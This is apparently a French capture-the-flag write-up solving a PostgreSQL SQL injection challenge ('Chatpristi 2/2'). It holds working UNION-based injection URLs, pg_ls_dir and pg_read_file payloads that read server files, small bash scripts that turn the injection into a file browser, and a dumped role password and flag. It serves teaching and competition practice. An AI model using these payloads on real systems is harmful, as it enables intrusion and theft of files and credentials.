Solution de kpetremann pour Chatpristi 2/2

web golang

23 novembre 2025

Depuis le challenge précédent (chapristi 1/2), on sait que l’on peut injecter via : http://localhost:8000/?search=%27)%20OR%20True%20--

Accessoirement, nous pouvons provoquer une erreur qui dévoile une partie de la requête:

$ curl 'http://localhost:8000/?search=%27)/*'
pq: unterminated /* comment at or near "/*%' OR filename='')/*');"

pq indique qu’on est probablement sur une PostgreSQL.

Et nous connaissons maintenant le nom d’un champ de la table : filename. Ce n’est pas forcément utile pour la suite, mais c’est une information.

On peut emettre l’hypothèse qu’il y a au moins l’ID, filename et certainement les tags.

Par contre on ne connait pas encore le nom de la table. Mais nous pouvons essayer des classiques ou logique: USERS, MEMES etc…

La table MEMES existe :

$ curl 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,filename%20FROM%20MEMES--'
pq: each UNION query must have the same number of columns

La table USERS n’existe pas :

$ curl 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,name%20FROM%20USERS--'
pq: relation "users" does not exist

En revanche on découvre assez facilement que la table USER existe, mais pas le champ name. On en essaye d’autres comme user qui se trouve être le bon :


$ curl 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,name%20FROM%20USER--'
pq: column "name" does not exist

$ curl 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user%20FROM%20USER--'
pq: each UNION query must have the same number of columns

Au vu de cette dernière erreur, nous pouvons déduire qu’il y a plus de 2 champs dans la table initiale contenant les mêmes. Nous essayons de trouver le bon nombre en répétant plusieurs fois le champ name: http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user,user%20FROM%20USER--

Cela fonctionne, et on remarque que le tag sur la page contient le user. Ce tag va nous permettre d’afficher des informations assez simplement. Note : nous injectons ‘AND False’ pour n’afficher que le résultat de notre nouvelle injection, qui serait écrasée par les mêmes initiaux.

Essayons avec quelques fonctions postgresql (au passage nous faisons un petit filtrage pour avoir les informations dans le terminal plus facilement):

# version de postgresql
$ curl -s 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user,(SELECT%20version()%20FROM%20USER)%20FROM%20USER--' | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
PostgreSQL 14.10 on x86_64-pc-linux-musl compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924 64-bit

# nom de la database
$ curl -s 'http://localhost:8000/?search=%27)%20AND%20false%20%20UNION%20ALL%20SELECT%201,user,(SELECT%20current_database()%20FROM%20USER)%20FROM%20USER--' | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
fcsc2022

Essayons de voir si on peut accéder au filesystem via pg_ls_dir et pg_read_file. Avec un peu de travail sur l’injection (le tag doit être une simple string) :

# Nous pouvons lister les dossier (ici /)
$ curl -s "http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user,(SELECT%20string_agg(pg_ls_dir,%20%27,%20%27)%20FROM%20pg_ls_dir(%27/%27))%20FROM%20USER--" | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var .dockerenv docker-entrypoint-initdb.d

# Pouvons afficher des fichiers!
$ curl -s "http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user,(SELECT%20string_agg(pg_read_file,%20%27,%20%27)%20FROM%20pg_read_file(%27/etc/os-release%27))%20FROM%20USER--" | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
NAME=&#34;Alpine Linux&#34;

Pour nous simplifier la vie, faisons nous un petit terminal pour ls et cat des fichiers.

cat.sh :

#!/bin/bash

while true; do
echo ""
read -p "[hey!]\$ Filepath > " FILEPATH
curl -s 'http://localhost:8000/?search=%27)%20AND%20false%20%20UNION%20ALL%20SELECT%201,user,(SELECT%20pg_read_file(%27'$FILEPATH'%27)%20FROM%20USER)%20FROM%20USER--' | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
done

ls.sh :

#!/bin/bash

while true; do
echo ""
read -p "[hey!]\$ Dir > " DIR
curl -s 'http://localhost:8000/?search=%27)%20AND%20false%20UNION%20ALL%20SELECT%201,user,(SELECT%20string_agg(pg_ls_dir,%20%27,%20%27)%20FROM%20pg_ls_dir(%27'$DIR'%27))%20FROM%20USER--' |grep tag | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g' | sed 's/ /\n/g'
done

Utilisons ces scripts pour afficher un fichier qui va nous intéresser :

./ls.sh

[hey!]$ Dir > /
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
.dockerenv
docker-entrypoint-initdb.d

[hey!]$ Dir > /docker-entrypoint-initdb.d
create_tables.sql

./cat.sh

[hey!]$ Filepath > /docker-entrypoint-initdb.d/create_tables.sql
<a href=/?search=CREATE%20ROLE%20fcsc2022_RO%20WITH%20LOGIN%20PASSWORD%20%27PWnxm2QJMWUccH9Dm9D1ArnXiapmUHRx%27%20%0aNOSUPERUSER%20INHERIT%20NOCREATEDB%20NOCREATEROLE%20NOREPLICATION%20VALID%20UNTIL%20%27infinity%27%3b%0a%0aGRANT%20CONNECT%20ON%20DATABASE%20fcsc2022%20TO%20fcsc2022_RO%3b%0aGRANT%20USAGE%20ON%20SCHEMA%20public%20TO%20fcsc2022_RO%3b%0aGRANT%20SELECT%20ON%20ALL%20TABLES%20IN%20SCHEMA%20public%20TO%20fcsc2022_RO%3b%0aGRANT%20SELECT%20ON%20ALL%20SEQUENCES%20IN%20SCHEMA%20public%20TO%20fcsc2022_RO%3b%0a%0aALTER%20DEFAULT%20PRIVILEGES%20IN%20SCHEMA%20public%20GRANT%20SELECT%20ON%20TABLES%20TO%20fcsc2022_RO%3b%0a%0aCREATE%20TABLE%20public.memes%20%28%0a%20%20%20%20id%20SERIAL%20NOT%20NULL%2c%0a%20%20%20%20filename%20character%20varying%20NOT%20NULL%2c%0a%20%20%20%20tags%20character%20varying%20NOT%20NULL%0a%29%3b%0a%0aALTER%20TABLE%20ONLY%20public.memes%0a%20%20%20%20ADD%20CONSTRAINT%20id_pkey%20PRIMARY%20KEY%20%28id%29%3b%0a%0a%0aCREATE%20TABLE%20public.___YouW1llN3vErFinDMyFl4g___%20%28%0a%20%20%20%20id%20SERIAL%20NOT%20NULL%2c%0a%20%20%20%20fSTbg0Adwb8F5upMg%20character%20varying%20NOT%20NULL%0a%29%3b%0a%0aALTER%20TABLE%20ONLY%20public.___YouW1llN3vErFinDMyFl4g___%0a%20%20%20%20ADD%20CONSTRAINT%20id_pkey2%20PRIMARY%20KEY%20%28id%29%3b%0a%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%273f5ce7b380dd03c3e71a29b2560323d058ce481fc7f3cdd505b02526af7d484e.jpg%27%2c%20%27fcsc> CREATE ROLE fcsc2022_RO WITH LOGIN PASSWORD &#39;PWnxm2QJMWUccH9Dm9D1ArnXiapmUHRx&#39; tags character varying NOT NULL INSERT INTO memes (filename tags) VALUES (&#39;3f5ce7b380dd03c3e71a29b2560323d058ce481fc7f3cdd505b02526af7d484e.jpg&#39; &#39;fcsc <a href=/?search=flag%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%27447de8ebbe9d9bf419dab0543f42fa456e99def65bdfa2e3aeed1cf771b50589.jpg%27%2c%20%27fcsc> flag&#39;); INSERT INTO memes (filename tags) VALUES (&#39;447de8ebbe9d9bf419dab0543f42fa456e99def65bdfa2e3aeed1cf771b50589.jpg&#39; &#39;fcsc intro <a href=/?search=boss%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%27743ad5c5eb260d00cff5ba193619f714b203f91ab87017cc74b65a5b466ba79a.jpg%27%2c%20%27anniversaire> boss&#39;); INSERT INTO memes (filename tags) VALUES (&#39;743ad5c5eb260d00cff5ba193619f714b203f91ab87017cc74b65a5b466ba79a.jpg&#39; &#39;anniversaire birthday flag <a href=/?search=grumpy%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%277c2df8488bb263c868573aaf8e7d1fa0426149fb0c905ae5b71d9b0c3da37b8e.jpg%27%2c%20%27fcsc> grumpy&#39;); INSERT INTO memes (filename tags) VALUES (&#39;7c2df8488bb263c868573aaf8e7d1fa0426149fb0c905ae5b71d9b0c3da37b8e.jpg&#39; &#39;fcsc <a href=/?search=crypto%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%27ec38bc3fe51533a81afba341a1bf85748a83214ca5fcb25c10d292212235b0ab.jpg%27%2c%20%27fcsc> crypto&#39;); INSERT INTO memes (filename tags) VALUES (&#39;ec38bc3fe51533a81afba341a1bf85748a83214ca5fcb25c10d292212235b0ab.jpg&#39; &#39;fcsc révisions <a href=/?search=ti83%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%27f7f997781b691fbaaee2d4c9778d534a3c05b0c4ecd8ea0e7c98035e738d8f68.jpg%27%2c%20%27fcsc> ti83&#39;); INSERT INTO memes (filename tags) VALUES (&#39;f7f997781b691fbaaee2d4c9778d534a3c05b0c4ecd8ea0e7c98035e738d8f68.jpg&#39; &#39;fcsc web crypto <a href=/?search=challenge%27%29%3b%0aINSERT%20INTO%20memes%20%28filename%2c%20tags%29%20VALUES%20%28%27a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7.jpg%27%2c%20%27fcsc> challenge&#39;); INSERT INTO memes (filename tags) VALUES (&#39;a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7.jpg&#39; &#39;fcsc fatigue tired tryhard&#39;);

Après un petit passage du contenu au décodeur (example https://www.urldecoder.org/fr/), on obtient :

CREATE ROLE fcsc2022_RO WITH LOGIN PASSWORD 'PWnxm2QJMWUccH9Dm9D1ArnXiapmUHRx' 
NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE NOREPLICATION VALID UNTIL 'infinity';

GRANT CONNECT ON DATABASE fcsc2022 TO fcsc2022_RO;
GRANT USAGE ON SCHEMA public TO fcsc2022_RO;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO fcsc2022_RO;
GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO fcsc2022_RO;

ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO fcsc2022_RO;

CREATE TABLE public.memes (
    id SERIAL NOT NULL,
    filename character varying NOT NULL,
    tags character varying NOT NULL
);

ALTER TABLE ONLY public.memes
    ADD CONSTRAINT id_pkey PRIMARY KEY (id);


CREATE TABLE public.___YouW1llN3vErFinDMyFl4g___ (
    id SERIAL NOT NULL,
    fSTbg0Adwb8F5upMg character varying NOT NULL
);

ALTER TABLE ONLY public.___YouW1llN3vErFinDMyFl4g___
    ADD CONSTRAINT id_pkey2 PRIMARY KEY (id);

INSERT INTO memes (filename, tags) VALUES ('3f5ce7b380dd03c3e71a29b2560323d058ce481fc7f3cdd505b02526af7d484e.jpg', 'fcsc>CREATEROLEfcsc2022_ROWITHLOGINPASSWORD&#39;PWnxm2QJMWUccH9Dm9D1ArnXiapmUHRx&#39;tagscharactervaryingNOTNULLINSERTINTOmemes(filenametags)VALUES(&#39;3f5ce7b380dd03c3e71a29b2560323d058ce481fc7f3cdd505b02526af7d484e.jpg&#39;&#39;fcsc<ahref=/?search=flag');
INSERT INTO memes (filename, tags) VALUES ('447de8ebbe9d9bf419dab0543f42fa456e99def65bdfa2e3aeed1cf771b50589.jpg', 'fcsc>flag&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;447de8ebbe9d9bf419dab0543f42fa456e99def65bdfa2e3aeed1cf771b50589.jpg&#39;&#39;fcscintro<ahref=/?search=boss');
INSERT INTO memes (filename, tags) VALUES ('743ad5c5eb260d00cff5ba193619f714b203f91ab87017cc74b65a5b466ba79a.jpg', 'anniversaire>boss&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;743ad5c5eb260d00cff5ba193619f714b203f91ab87017cc74b65a5b466ba79a.jpg&#39;&#39;anniversairebirthdayflag<ahref=/?search=grumpy');
INSERT INTO memes (filename, tags) VALUES ('7c2df8488bb263c868573aaf8e7d1fa0426149fb0c905ae5b71d9b0c3da37b8e.jpg', 'fcsc>grumpy&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;7c2df8488bb263c868573aaf8e7d1fa0426149fb0c905ae5b71d9b0c3da37b8e.jpg&#39;&#39;fcsc<ahref=/?search=crypto');
INSERT INTO memes (filename, tags) VALUES ('ec38bc3fe51533a81afba341a1bf85748a83214ca5fcb25c10d292212235b0ab.jpg', 'fcsc>crypto&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;ec38bc3fe51533a81afba341a1bf85748a83214ca5fcb25c10d292212235b0ab.jpg&#39;&#39;fcscrévisions<ahref=/?search=ti83');
INSERT INTO memes (filename, tags) VALUES ('f7f997781b691fbaaee2d4c9778d534a3c05b0c4ecd8ea0e7c98035e738d8f68.jpg', 'fcsc>ti83&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;f7f997781b691fbaaee2d4c9778d534a3c05b0c4ecd8ea0e7c98035e738d8f68.jpg&#39;&#39;fcscwebcrypto<ahref=/?search=challenge');
INSERT INTO memes (filename, tags) VALUES ('a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7.jpg', 'fcsc>challenge&#39;);INSERTINTOmemes(filenametags)VALUES(&#39;a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7.jpg&#39;&#39;fcscfatiguetiredtryhard&#39;);

Voilà une partie qui nous intéresse :

CREATE TABLE public.___YouW1llN3vErFinDMyFl4g___ (
    id SERIAL NOT NULL,
    fSTbg0Adwb8F5upMg character varying NOT NULL
);

ALTER TABLE ONLY public.___YouW1llN3vErFinDMyFl4g___
    ADD CONSTRAINT id_pkey2 PRIMARY KEY (id);

Essayons de voir ce qu’il y a dans le champ fSTbg0Adwb8F5upMg de la table ___YouW1llN3vErFinDMyFl4g___ :

$ curl -s 'http://localhost:8000/?search=%27)%20AND%20false%20%20UNION%20ALL%20SELECT%20id,fSTbg0Adwb8F5upMg,fSTbg0Adwb8F5upMg%20FROM%20___YouW1llN3vErFinDMyFl4g___--' | grep -E "tag|pq" | xargs | sed 's/<span class=tag is-info>//g' | sed 's/<\/span>//g' | sed 's/,//g'
FCSC{edfaeb139255929e55a3cffe9f3f37cd4e871e5015c4d4ade2b02d77d44019e5}

Nous avons trouvé le flag!